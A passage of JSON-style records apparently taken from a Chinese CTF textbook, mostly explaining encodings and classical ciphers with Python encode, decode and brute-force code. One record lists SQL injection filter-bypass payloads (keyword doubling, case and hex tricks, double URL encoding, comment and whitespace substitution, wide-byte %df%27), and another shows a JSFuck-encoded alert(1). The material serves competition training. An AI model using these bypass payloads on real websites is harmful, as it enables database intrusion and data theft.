这种编码可用于浏览器和网站之间的数据交换，主要功能是解决一些特殊字符在传输过程中造成的问题。这种编码非常容易理解，在特殊字符hex的基础上，每个字符前置一个“%”即可。举例说明如下： flag{url_encode_1234_!@#$} flag%7Burl_encode_1234_%21@%23%24%7D 在url编码和解码的时候，只需要关注“%”的内容，每当遇到“%”的时候，连带“%”的三个字符对应着明文的一个字符。Python中可以使用urllib中的两个函数来进行urlencode： import urllib print urllib.quote(\"flag{url_encode_1234_!@#$}\") d = {'name':'bibi@flappypig.club','flag':'flag{url_encode_1234_!@#$}'} print urllib.urlencode(d) 结果如下： flag%7Burl_encode_1234_%21%40%23%24%7D flag=flag%7Burl_encode_1234_%21%40%23%24%7D&name=bibi%40flappypig.club 第一个quote函数可以直接对字符串进行url编码，可以使用unquote函数进行解码；urlencode函数能对字典模式的键值对进行url编码。"},
    {"text": "未知 19.3 morsecode 摩斯电码（morsecode）是大家耳熟能详的编码方式，很多人都误认为它是一种加密方式，但其实它是一种编码，因为它并不存在密钥。在只能使用电报长短音传递信息的条件下，使用摩斯电码是为了方便信息传输。 与电影中的情节一样，摩斯电码是由长音和短音构成的。如果摩斯电码在题目中以文字的形式给出，会是如下形式： ..-./.-../.-/--./--/---/.-./.../. 解码如下： FLAGMORSE 使用“.”表示短音，使用“-”表示长音，使用“/”表示分隔符。摩斯电码的解码有很多在线工具可以使用，列举如下： · http://www.atool.org/morse.php · http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx · http://www.bejson.com/enc/morse/ · http://www.jb51.net/tools/morse.htm 通常会将摩斯电码与MISC音频结合起来出题，最为典型的是“滴滴滴滴”的摩斯电码的音频，耳力较好的同学可以直接按听、抄、解三步完成，求稳的同学则推荐使用Cool Edit等音频编辑软件，可以更为直观地观测到摩斯电码，如图19-1所示。 图19-1 摩斯电码音频示意图 使用Cool Edit对某摩斯电码音频进行编辑，可以很明显地看到摩斯电码的长音和短音，停顿的时间较长的就是两个字符之间的间隔。我们将电码抄录为以“.-/”组成的字符串的格式，然后将其上传到在线解码网站上解码即可。使用Python进行morse编码和解码的代码如下： alphabet_to_morse = { \"A\": \".-\", \"B\": \"-...\", \"C\": \"-.-.\", \"D\": \"-..\", \"E\": \".\", \"F\": \"..-.\", \"G\": \"--.\", \"H\": \"....\", \"I\": \"..\", \"J\": \".---\", \"K\": \"-.-\", \"L\": \".-..\", \"M\": \"--\", \"N\": \"-.\", \"O\": \"---\", \"P\": \".--.\", \"Q\": \"--.-\", \"R\": \".-.\", \"S\": \"...\", \"T\": \"-\", \"U\": \"..-\", \"V\": \"...-\", \"W\": \".--\", \"X\": \"-..-\", \"Y\": \"-.--\", \"Z\": \"--..\", \"0\": \"-----\", \"1\": \".----\", \"2\": \"..---\", \"3\": \"...--\", \"4\": \"....-\", \"5\": \".....\", \"6\": \"-....\", \"7\": \"--...\", \"8\": \"---..\", \"9\": \"----.\", \", \" \" \", \",\": \"--..--\", \":\": \"---...\", \";\": \"-.-.-.\", \"?\": \"..--..\", \"-\": \"-....-\", \"_\": \"..--.-\", \"(\": \"-.--.\", \")\": \"-.--.-\", \"'\": \".----.\", \"=\": \"-...-\", \"+\": \".-.-.\", \"/\": \"-..-.\", \"@\": \".--.-.\", \", \"\": \"\" } morse_to_alphabet = {v: k for k, v in alphabet_to_morse.iteritems()} def _morseremoveunusablecharacters(uncorrected_string): return filter(lambda char: char in alphabet_to_morse, uncorrected_string.upper()) def morseencode(decoded): \"\"\" :param decoded: :return: \"\"\" morsestring = [] decoded = _morseremoveunusablecharacters(decoded) decoded = decoded.upper() words = decoded.split(\" \") for word in words: letters = list(word) morseword = [] for letter in letters: morseletter = alphabet_to_morse[letter] morseword.append(morseletter) word = \"/\".join(morseword) morsestring.append(word) return \" \".join(morsestring) def morsedecode(encoded): \"\"\" :param encoded: :return: \"\"\" characterstring = [] words = encoded.split(\" \") for word in words: letters = word.split(\"/\") characterword = [] for letter in letters: characterletter = morse_to_alphabet[letter] characterword.append(characterletter) word = \"\".join(characterword) characterstring.append(word) return \" \".join(characterstring)"},
    {"text": "比如： alert(1) 经过jsfuck编码后，就变成了： [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() 从直观上非常容易辨识出这种编码方式，只需要“()+[]!”这6个字符组成的字符串。"},
    {"text": "未知 19.5 uuencode uuencode是将二进制文件转化为可见字符文本的文件的一种编码，转换后的文件可以通过纯文本的email进行传输，因为转换之后仅包含可见字符。uuencode的运算法则是将连续的3字节扩展成4字节，这一点与base64很像。该编码的效率高于hex。 uuencode也有在线编解码的网站： http://www.qqxiuzi.cn/bianma/uuencode.php 我们观察uuencode的原文和编码： flag{uuencode} .9FQA9WMU=65N8V]D97T` 可以看到，编码之后的代码是非常杂乱无章的，什么可见字符都有可能出现，其取值为32（空白）到95（底线），也就是没有小写字母，因此uuencode也非常容易识别。 未知 19.6 base家族 很多人都知道base64，但是除了base64，还有base32、base16等很多隶属于base家族的编码方式。base家族的编码可以说是CTF竞赛中的明星，不论是哪种类型、难度和模式的题目，都可以围绕或者附带base家族的编码展开，其中base64出镜率极高。 与前面几种编码的功能类似，base64以及base家族的其他各类编码的功能，主要还是将特殊字符和不可见字符转换成常见字符，用于网络传输。在使用hex的时候可以看到，一个字符变成了两个字符，这是因为我们需要用4bit的内容去表达16bit的内容所导致的，也就是用16个字符去表达256个字符。如果我们用更多的字符去表达呢，比如用32个字符和64个字符。因此base64、base32应运而生，base16就是hex。 下面就最常见的base64、base32，以及base16来进行介绍，如表19-1所示。 表19-1 三种编码字符集 要想识别出一个编码是不是base家族的编码，一个是看最后有没有“=”，如果有则一定是，如果没有，再看一下编码中包含的字母，是否都在base家族对应的字符集上，如果完全对应则证明其是base家族的编码。表19-2中列举了三个例子。 表19-2 flag的三种basexx编码 从字符集的取值上可以很明显地看出，第一行使用的是base16，第二行使用的是base32，第三行使用的是base64。 当然，使用Python进行base家族编码时，如果只是base64，我们可以很方便地使用字符串的encode和decode进行编解码。如果是base32和base16，则需要用到base64库中的函数来进行编解码，示例代码： 这里需要注意，在Python中使用字符串的encode时，会多出一个空行。 下面我们来看表19-3所示的另外一个对比。 表19-3 flag的base16和hex 在Python中，两者只相差一个大小写，也就是说： 在Python中这两者是等价的。 我们都知道，base64等编码存在的意义是将所有字符的表达集中在一些常见的、可见的字符集上。理解base64编码的方式也是很有意义的，因为在很多分析base64算法的情况中，base64的算法是修改后的，也就是私有base64。 首先我们都知道字符的大小是1byte，也就是8bit，3byte就有24bit。然后，我们将这24bit切成4份，每份大小为6bit，转换成数字后，在base64编码表中找到对应字母表示出来就行了，6bit正好能够表达64个字符，正好对应base64字符集的取值范围，也就是说通过这种变换方式每3个字符变成了4个字符。 下面列举一个例子，如图19-3所示。 图19-3 base64编码示意图 如图19-3所示，三个连在一起的字符“AST”，分别对应数字65、83、84。数字转换为二进制bit表示后，共24bit，然后6bit一组，切分成4组，并将6bit组成的数字转换为十进制，得到4个数字，然后进行查表，如图19-4所示。 图19-4 base64原始表 通过查表，可以将4个数字转为成4个字母，base64至此转换完毕。 在很多CTF题目中，出题人会让选手分析一段算法，如果C代码或者Python代码实现了上述过程，那么是base64无疑。通常，题目不会简单地使用原始的base64，在最后一步查表的过程中，很可能改变那个表中字符的顺序，也就是私有表，此时我们称这个base64为私有base64。其解码方法也是将表替换为私有表，然后decode即可，也可以直接正常解码（base64）后当作替代密码解密。 未知 第20章 古典密码 古典密码作为最简单的密码加密类别，也是CTF竞赛中的常客，其对于数论的要求不是很高，很容易入门。古典密码如今已不再单独作为加密算法使用，但是它们是许多现代密码算法的基石。 古典密码在形式上可分成移位密码和替代密码两类，其中替代密码又可分为单表替代和多表替代。"},
    {"text": "未知 20.1 移位密码 20.1.1 简单移位密码 密码和编码最大的区别就是密码多了一个很关键的信息：密钥k。在讲解密码学的过程中，我们一般使用m代表明文，c代表密文。 移位密码在所有密码学中是最基础、最简单的一种密码形式。可以简单地将这种密码理解为明文根据密钥进行了位置的变换而得到的密文。 举个例子，样例数据如下： m=\"flag{easy_easy_crypto}\" k=\"3124\" 当明文为m，密钥为k时，移位密码首先以k的长度（也就是len(k)=4）切分m，具体如下： flag {eas y_ea sy_c rypt o} 可以看到，总共分成了6部分，然后按照密钥3124的顺序对每一部分都进行密钥变化，变化规则如表20-1所示。 表20-1 密钥变化规则表 上述6部分经过变化后变为如下形式： flag {eas y_ea sy_c rypt o} lafg ea{s _eya y_sc yprt }o 所以密文为： lafgea{s_eyay_scyprt}o 移位密码加密完毕，可以使用Python完成此过程： def shift_encrypt(m,k): l=len(k) c=\"\" for i in range(0,len(m),l): tmp_c=[\"\"]*l if i+l>len(m): tmp_m=m[i:] else: tmp_m=m[i:i+l] for kindex in range(len(tmp_m)): tmp_c[int(k[kindex])-1]=tmp_m[kindex] c+=\"\".join(tmp_c) return c m=\"flag{easy_easy_crypto}\" k=\"3124\" print shift_encrypt(m,k) 针对移位密码的解密也非常简单，分组之后按照密钥恢复每组的明文顺序即可，代码如下： def shift_decrypt(c,k): l=len(k) m=\"\" for i in range(0,len(c),l): tmp_m=[\"\"]*l if i+l>=len(c): tmp_c=c[i:] use=[] for kindex in range(len(tmp_c)): use.append(int(k[kindex]) - 1) use.sort() for kindex in range(len(tmp_c)): tmp_m[kindex] = tmp_c[use.index(int(k[kindex])-1)] else: tmp_c=c[i:i+l] for kindex in range(len(tmp_c)): tmp_m[kindex] = tmp_c[int(k[kindex]) - 1] m+=\"\".join(tmp_m) return m c=\"lafgea{s_eyay_scyprt}o\" k=\"3124\" print shift_decrypt(c,k) 上面仅仅只是正常加解密，下面来介绍一下移位密码的攻击策略。所谓攻击，即在不知道密钥的情况下，由密文恢复出明文。移位密码的密钥仅仅是字符变换的顺序，所以常用的攻击方式有两种：爆破和语义分析。 如果使用爆破方式，则首先爆破字段长度，然后爆破顺序。其实根本不用那么麻烦，比如下面这段密文： lafgea{s_eyay_scyprt}o 在做题的时候，我们很清楚flag的格式是flag{xxxx}，观察上面这个密文，前4个字符flag都有，而且位置对应关系就是3124，可以直接用肉眼观测出密钥。 未知 20.1.2 曲路密码 将明文填入一个表中，并按照一定的曲路遍历，是移位密码的一种。例如，明文为abcdefghijklmnopqrstuvwxy，曲路如图20-1所示。 图20-1 曲路密码示意图 那么密文就是ejotyxcnidchmrwvqlgbafkpu。解密过程反过来遍历曲路即可。 未知 20.1.3 云影密码 云影密码仅包含01248五个数字，其中0用于分割，其余数字用于做加和操作之后转换为明文，因此解码方式如下： def c01248_decode(c): l=c.split(\"0\") origin = \"abcdefghijklmnopqrstuvwxyz\" r=\"\" for i in l: tmp=0 for num in i: tmp+=int(num) r+=origin[tmp-1] return r print c01248_decode(\"8842101220480224404014224202480122\") 输出结果如下： welldone"},
    {"text": "未知 2.9 绕过 在CTF中，关于SQL注入的题目一般都会涉及绕过。所以，掌握花式的绕过技术是必不可少的。我们需要熟悉数据库的各种特性，并利用开阔的思维来对SQL注入的防护措施进行绕过操作。 SQL注入的题目中一般都有绕过这样的类型，常见的绕过方式有以下几个分类。 1.过滤关键字 即过滤如select、or、from等的关键字。有些题目在过滤时没有进行递归过滤，而且刚好将关键字替换为空。这时候，我们可以使用穿插关键字的方法进行绕过操作，如： select -- selselectect or -- oorr union -- uniunionon ... 也可以通过大小写转换来进行绕过，如： select -- SelECt or -- oR union -- uNIoN ... 有时候，过滤函数是通过十六进制进行过滤的。我们可以对关键字的个别字母进行替换，如： select -- selec\\x74 or -- o\\x72 union -- unio\\x6e ... 有时还可以通过双重URL编码进行绕过操作，如： form -- %25%36%36%25%36%66%25%37%32%25%36%64 or -- %25%36%66%25%37%32 union -- %25%37%35%25%36%39%25%36%65%25%36%66%25%36%65 ... 在CTF题目中，我们通常需要根据一些提示信息及题目的变化来选择绕过方法。 2.过滤空格 在一些题目中，我们发现出题人并没有对关键字进行过滤，反而对空格进行了过滤，这时候就需要用到下面这几种绕过方法。 1）通过注释绕过，一般的注释符有如下几个： ·# ·-- ·// ·/**/ ·;%00 这时候，我们就可以通过这些注释符来绕过空格符，比如： select/**/username/**/from/**/user 2）通过URL编码绕过，我们知道空格的编码是%20，所以可以通过二次URL编码进行绕过： %20 -- %2520 3）通过空白字符绕过，下面列举了数据库中一些常见的可以用来绕过空格过滤的空白字符（十六进制）： SQLite3 -- 0A,0D,0C,09,20 MySQL5 -- 09,0A,0B,0C,0D,A0,20 PosgresSQL -- 0A,0D,0C,09,20 Oracle 11g -- 00,0A,0D,0C,09,20 MSSQL -- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D, 0E,0F,10,11,12,13,14,15,16, 17,18,19,1A,1B,1C,1D,1E,1F,20 如图2-4所示的操作为利用换行符来替代空格的例子。 4）通过特殊符号（如反引号、加号等），利用反引号绕过空格的语句如下： ...select`user`,`password`from... 如图2-5所示的是使用反引号对空格进行绕过的示例。这样就能获取全部的username和password。 在不同的场景下，加号、减号、感叹号也会有同样的效果，这里不一一进行举例说明了，读者可以自行测试。 5）科学计数法绕过，语句如下： SELECT user,password from users where user_id=0e1union select 1,2 图2-4 空白字符（换行符）绕过空格过滤的示例 图2-5 使用反引号绕过空格过滤的示例 结果如图2-6所示，同样可以达到绕过的效果。 图2-6 使用科学计数法进行绕过 3.过滤单引号 绕过单引号过滤遇到题目最多的是魔术引号，也就是PHP配置文件php.ini中的magic_quote_gpc。 当PHP版本号小于5.4时（PHP5.3废弃魔术引号，PHP5.4移除），如果我们遇到的是GB2312、GBK等宽字节编码（不是网页的编码），可以在注入点增加%df尝试进行宽字节注入（如%df%27）。原理在于PHP发送请求到MySQL时字符集使用character_set_client设置值进行了一次编码，从而绕过了对单引号的过滤。 这种绕过方式现在已不多见，基本上也不会出现在未来的CTF比赛中。 4.绕过相等过滤 根据“猪猪侠”的微博：MySQL中存在utf8_unicode_ci和utf8_general_ci两种编码格式。utf8_general_ci不仅不区分大小写，而且Ä=A,Ö=O,Ü=U这三种等式都成立。对于utf8_general_ci等式ß=s是成立的，但是，对于utf8_unicode_ci，等式ß=ss才是成立的。 这种绕过方式曾在2016年HITCON的BabyTrick题目中作为一个绕过的考点出现过。"},
    {"text": "未知 20.1.4 栅栏密码 栅栏密码是一种规则比较特殊的移位密码，其密钥只有一个数字k，表示栅栏的长度。所谓栅栏密码，就是将要加密的明文分成k个一组，然后取每组的第一个字符依次连接，拼接而成的字符串就是密文，样例数据如下： m=\"flag{zhalan_mima_hahaha}\" k=4 如上，在这种情况下，首先将明文m按照长度每4个分为一组： flag {zha lan_ mima _hah aha} 总共分成了6组，然后依次取出每组的第1个字符，如下： f{lm_a 依次取出第2个、第3个、第4个，放置在后面，如下： f{lm_alzaihhahnmaaga_ah} 这就是栅栏密码的加密方法，Python实现代码如下： def zhalan_encrypt(m,k): chip=[] for i in range(0,len(m),k): if i+k>=len(m): tmp_m=m[i:] else: tmp_m=m[i:i+k] chip.append(tmp_m) c=\"\" for i in range(k): for tmp_m in chip: if i < len(tmp_m): c+=tmp_m[i] return c m=\"flag{zhalan_mima_hahaha}\" k=4 print zhalan_encrypt(m,k) 栅栏密码的解密方法是加密的逆过程，Python实现代码如下： def zhalan_decrypt(c,k): l=len(c) partnum=l/k if l%k!=0: partnum+=1 m=[\"\"]*l for i in range(0,l,partnum): if i+partnum>=len(c): tmp_c=c[i:] else: tmp_c=c[i:i+partnum] for j in range(len(tmp_c)): m[j*k+i/partnum]=tmp_c[j] return \"\".join(m) c=\"f{lm_alzaihhahnmaaga_ah}\" k=4 print zhalan_decrypt(c,k) 未知 20.2 替代密码 替代密码如名字所示，首先建立一个替换表，加密时将需要加密的明文依次通过查表替换为相应的字符，明文字符被逐个替换后，会生成无任何意义的字符串，即密文，替代密码的密钥就是其替换表。 如果替换表只有一个，则称之为单表替代密码。如果替换表有多个，依次使用，则称之为多表替代密码。 针对替代密码最有效的攻击方式是词频分析。"},
    {"text": "在偏移量为4的时候，字母的替代结果如下所示： ABCDEFGHIJKLMNOPQRSTUVWXYZ EFGHIJKLMNOPQRSTUVWXYZABCD 由此可见，位数就是凯撒密码加密和解密的密钥。"},
    {"text": "举个例子，样例数据如下： m=\"flag{kaisamima}\" k=3 加密方法非常简单，在每个字符上加上k的取值3即可。 使用python加密，代码如下： def caesar_encrypt(m,k): r=\"\" for i in m: r+=chr((ord(i)+k)%128) return r m=\"flag{kaisamima}\" k=3 print caesar_encrypt(m,k) 结果输出如下： iodj~ndlvdplpd 解密方法是加密的逆过程，将加号换成减号即可，代码如下： def caesar_decrypt(c,k): r=\"\" for i in c: r+=chr((ord(i)-k)%128) return r c=\"iodj~ndlvdplpd\\x00\" k=3 print caesar_decrypt(c,k) 结果如下： flag{kaisamima} 针对单表替代密码的攻击方法本来是词频分析，但是凯撒密码的密钥的取值空间太小了，直接爆破也是很简单的攻击方法。 所以针对凯撒密码的攻击方法就是爆破密钥k，样例数据如下： c=\"39.4H/?BA2,0.2@.?J\" 如上所示的密文c，在没有密钥k的情况下，我们爆破密钥k，并判断结果中是否包含flag格式的字符串，以爆破出明文m，代码如下： def caesar_decrypt(c,k): r=\"\" for i in c: r+=chr((ord(i)-k)%128) return r def caesar_brute(c,match_str): result=[] for k in range(128): tmp=caesar_decrypt(c,k) if match_str in tmp: result.append(tmp) return result c=\"39.4H/?BA2,0.2@.?J\" print caesar_brute(c,\"flag\") 结果如下： ['flag{brute_caesar}'] 由此可见，凯撒密码是非常容易破解的。"},
    {"text": "ROT13通常会作用于MD5、flag等字符串上，而我们都知道，MD5中的字符只有“ABCDEF”，其对应的ROT13为“NOPQRS”，flag对应的ROT13为“SYNT”，所以当看到这些字眼的时候，就可以识别出ROT13了。 因为英文字母只有26个，所以不论是加13还是减13，效果都是一样的，所以ROT13的加密和解密函数也是一样的，示例代码如下： def rot13(m): r=\"\" for i in m: if ord(i) in range(ord('A'),ord('Z')+1): r+=chr((ord(i)+13-ord('A'))%26+ord('A')) elif ord(i) in range(ord('a'),ord('z')+1): r += chr((ord(i) + 13 - ord('a')) % 26 + ord('a')) else: r+=i return r c=\"2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824\" print rot13(c) print rot13(rot13(c)) 结果如下： 2ps24qon5so0n30r26r83o2np5o9r29r1o161r5p1sn7425r73043362938o9824 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 可以看到，经过两次加密之后，字符串就恢复原状了，这是因为第二次加密实际上是一个解密的过程。"},
    {"text": "其通过将字母表的位置完全镜面对称后获得字母的替代表，然后进行加密，如下： A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Z Y X W V U T S R Q P O N M L K J I H G F E D C B A 加密的Python代码如下： def atbash_encode(m): alphabet=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\" Origin=alphabet+alphabet.lower() TH_A=alphabet[::-1] TH_a=alphabet.lower()[::-1] TH=TH_A+TH_a r=\"\" for i in m: tmp=Origin.find(i) if tmp!=-1: r+=TH[tmp] else: r+=i return r print atbash_encode(\"flag{ok_atbash_flag}\") 输出结果如下： uozt{lp_zgyzhs_uozt} 因此，解密方式可以直接再次替换为如下内容： def atbash_encode(m): alphabet=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\" Origin=alphabet+alphabet.lower() TH_A=alphabet[::-1] TH_a=alphabet.lower()[::-1] TH=TH_A+TH_a r=\"\" for i in m: tmp=Origin.find(i) if tmp!=-1: r+=TH[tmp] else: r+=i return r print atbash_encode(atbash_encode(\"flag{ok_atbash_flag}\")) 输出结果如下： flag{ok_atbash_flag} 4.经典单表替代密码 上述几种密码都是单表替代密码的特例，经典的单表替代密码就是用一个替代表对每一个位置的字符进行查表替换。 例如，假设替换表内容如下： abcdefghijklmnopqrstuvwxyz zugxjitlrkywdhfbnvosepmacq 即将所有的a替换为z，b替换为u，依此类推，加密方式如下： def substitution_encode(m,k,origin=\"abcdefghijklmnopqrstuvwxyz\"): r=\"\" for i in m: if origin.find(i)!=-1: r+=k[origin.find(i)] else: r+=i return r print substitution_encode(\"flag{good_good_study}\",\"zugxjitlrkywdhfbnvosepmacq\") 输出结果如下： iwzt{tffx_tffx_osexc} 因为是单表替代，所以没有替代表时，爆破的难度会较高，一般来说会给出一段具有足够语言意义的密文，然后使用词频统计的方法进行攻击，详情请参见多表替代密码。 如果有替代表，则使用如下方式解密： def substitution_decode(c,k,origin=\"abcdefghijklmnopqrstuvwxyz\"): r = \"\" for i in c: if k.find(i) != -1: r += origin[k.find(i)] else: r += i return r print substitution_decode(\"iwzt{tffx_tffx_osexc}\",\"zugxjitlrkywdhfbnvosepmacq\") 输出结果如下： flag{good_good_study} 5.培根密码 培根密码一般使用两种不同的字体表示密文，密文的内容不是关键所在，关键是字体。"},
    {"text": "7.仿射密码 仿射密码的替代表的生成方式依据：c=am+b mod n，其中，m为明文对应字母得到的数字，n为字符数量，c为密文，a和b为密钥。"},
    {"text": "加密代码如下： def affine_encode(m,a,b,origin=\"abcdefghijklmnopqrstuvwxyz\"): r=\"\" for i in m: if origin.find(i)!=-1: r+=origin[(a*origin.index(i)+b)%len(origin)] else: r+=i return r print affine_encode(\"affinecipher\",5,8) 输出如下： ihhwvcswfrcp 在拥有密钥的情况下，解密只需要求出a关于n的逆元即可，即m=modinv(a)·(c-b)mod n，代码如下： def affine_decode(c,a,b,origin=\"abcdefghijklmnopqrstuvwxyz\"): r=\"\" n=len(origin) ai=primefac.modinv(a,n)%n for i in c: if origin.find(i)!=-1: r+=origin[(ai*(origin.index(i)-b))%len(origin)] else: r+=i return r print affine_decode(\"ihhwvcswfrcp\",5,8) 输出如下： affinecipher 因为明密文空间一样，所以n很容易得知。"},
    {"text": "第三种是已知明文攻击，如果我们知道了任意两个字符的明密文对，那么我们可以推理出密钥ab，代码如下： def affine_guessab(m1,c1,m2,c2,origin=\"abcdefghijklmnopqrstuvwxyz\"): x1=origin.index(m1) x2=origin.index(m2) y1=origin.index(c1) y2=origin.index(c2) n=len(origin) dxi=primefac.modinv(x1-x2,n)%n a=dxi*(y1-y2) % n b=(y1-a*x1)%n return (a,b) print affine_guessab(\"a\",\"i\",\"f\",\"h\") 输出如下： (5, 8)"},
    {"text": "生成棋盘的方式如下： def gen_cheese_map(k,use_Q=True,upper=True): k=k.upper() k0=\"\" origin = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\" for i in k: if i not in k0: k0+=i for i in origin: if i not in k0: k0+=i if use_Q==True: k0=k0[0:k0.index(\"J\")]+k0[k0.index(\"J\")+1:] else: k0 = k0[0:k0.index(\"Q\")] + k0[k0.index(\"Q\") + 1:] if upper==False: k0=k0.lower() assert len(k0)==25 r=[] for i in range(5): r.append(k0[i*5:i*5+5]) return r print gen_cheese_map(\"helloworld\") 输出结果如下： ['HELOW', 'RDABC', 'FGIKM', 'NPQST', 'UVXYZ'] Playfair根据明文的位置去寻找新的字母。"},
    {"text": "2）若两个字母同行，则取这两个字母右方的字母（若字母在最右方则取最左方的字母）。 3）若两个字母同列，则取这两个字母下方的字母（若字母在最下方则取最上方的字母）。"},
    {"text": "针对两个字符的变换方式如下所示： def _playfair_2char(tmp,map): for i in range(5): for j in range(5): if tmp[i][j] ==tmp[0]: ai=i aj=j if tmp[i][j] ==tmp[1]: bi=i bj=j if ai==bi: axi=ai bxi=bi axj=(aj+1)%5 bxj=(bj+1)%5 elif aj==bj: axj=aj bxj=bj axi=(ai+1)%5 bxi=(bi+1)%5 else: axi=ai axj=bj bxi=bi bxj=bj return map[axi][axj]+map[bxi][bxj] 因此加密方式如下所示： def playfair_encode(m,k=\"\",cheese_map=[]): m=m.upper() origin = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\" tmp=\"\" for i in m: if i in origin: tmp+=i m=tmp assert k!=\"\" or cheese_map!=[] if cheese_map==[]: map=gen_cheese_map(k) else: map=cheese_map m0=[] idx=0 while idx<len(m): tmp=m[idx:idx+2] if tmp[0]!=tmp[1]: m0.append(tmp) idx+=2 elif tmp[0]!=\"X\": m0.append(tmp[0]+'X') idx+=1 else: m0.append(tmp[0] + 'Q') idx+=1 if idx==len(m)-1: if tmp[0] != \"X\": m0.append(tmp[0] + 'X') idx += 1 else: m0.append(tmp[0] + 'Q') idx += 1 r=[] for i in m0: r.append(_playfair_2char(i,map)) return r print playfair_encode(\"Hide the gold in the tree stump\",\"playfairexample\") 输出结果如下： ['BM', 'OD', 'ZB', 'XD', 'NA', 'BE', 'KU', 'DM', 'UI', 'XM', 'MO', 'UV', 'IF'] 解码方式如下所示： def _playfair_2char_decode(tmp,map): for i in range(5): for j in range(5): if map[i][j] ==tmp[0]: ai=i aj=j if map[i][j] ==tmp[1]: bi=i bj=j if ai==bi: axi=ai bxi=bi axj=(aj-1)%5 bxj=(bj-1)%5 elif aj==bj: axj=aj bxj=bj axi=(ai-1)%5 bxi=(bi-1)%5 else: axi=ai axj=bj bxi=bi bxj=aj return map[axi][axj]+map[bxi][bxj] def playfair_decore(c,k=\"\",cheese_map=[]): assert k != \"\" or cheese_map != [] if cheese_map == []: map = gen_cheese_map(k) else: map = cheese_map r=[] for i in c: r.append(_playfair_2char_decode(i,map)) return \"\".join(r) print playfair_decore(['BM', 'OD', 'ZB', 'XD', 'NA', 'BE', 'KU', 'DM', 'UI', 'XM', 'MO', 'UV', 'IF'],\"playfairexample\") 输出结果如下： HIDETHEGOLDINTHETREXESTUMP Polybius密码相对简单一点，只是用棋盘的坐标作为密文，可能不一定是数字，坐标可以用字母表示，代码如下。 def polybius_encode(m,k=\"\",name=\"ADFGX\",cheese_map=[]): m=m.upper() assert k != \"\" or cheese_map != [] if cheese_map == []: map = gen_cheese_map(k) else: map = cheese_map r=[] for x in m: for i in range(5): for j in range(5): if map[i][j]==x: r.append(name[i]+name[j]) return r print polybius_encode(\"helloworld\",k=\"abcd\") 输出结果如下： ['DF', 'AX', 'FA', 'FA', 'FG', 'XD', 'FG', 'GD', 'FA', 'AG'] 解密方式也是参照map去寻找对应的明文，代码如下： def polybius_decode(c,k=\"\",name=\"ADFGX\",cheese_map=[]): assert k != \"\" or cheese_map != [] if cheese_map == []: map = gen_cheese_map(k) else: map = cheese_map r=\"\" for x in c: i=name.index(x[0]) j=name.index(x[1]) r+=map[i][j] return r print polybius_decode(['DF', 'AX', 'FA', 'FA', 'FG', 'XD', 'FG', 'GD', 'FA', 'AG'],k=\"abcd\") 输出结果如下： HELLOWORLD Nihilist和Polybius原理相同。"},
    {"text": "表20-3 维吉尼亚密码密钥实例 明文的第一个位置会使用“L”进行加密，第二个位置会使用“O”进行加密，第三个位置会使用“V”进行加密，第四个位置会使用“E”进行加密，到第五个位置时又会回归到使用“L”进行加密。"},
    {"text": "Os drnuzearyuwn,y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz,ydderxosa ze y rlatfyr jnjzli;mjy gfbmw vla xy wbfnsy symmyew(mjy vrwm qrvvrf),hlbew rd symmyew,mebhsymw rd symmyew,vbomgeyw rd mjy lxrzy,lfk wr dremj.Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf.Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l 打开网站，使用方法如图20-3和图20-4所示。"},
    {"text": "图20-3 quipquip网站使用 在Puzzle中输入密文，在Clues中输入可以通过尝试推测出的明密文对应，代码如下： dsln=flag bw=is mjy=the 点击solve计算结果，如图20-4所示。 图20-4 quipquip网站计算结果 可以看到一条类似flag的语句，得到flag：n1_2hen-d3_hu1-mi-ma_a。"},
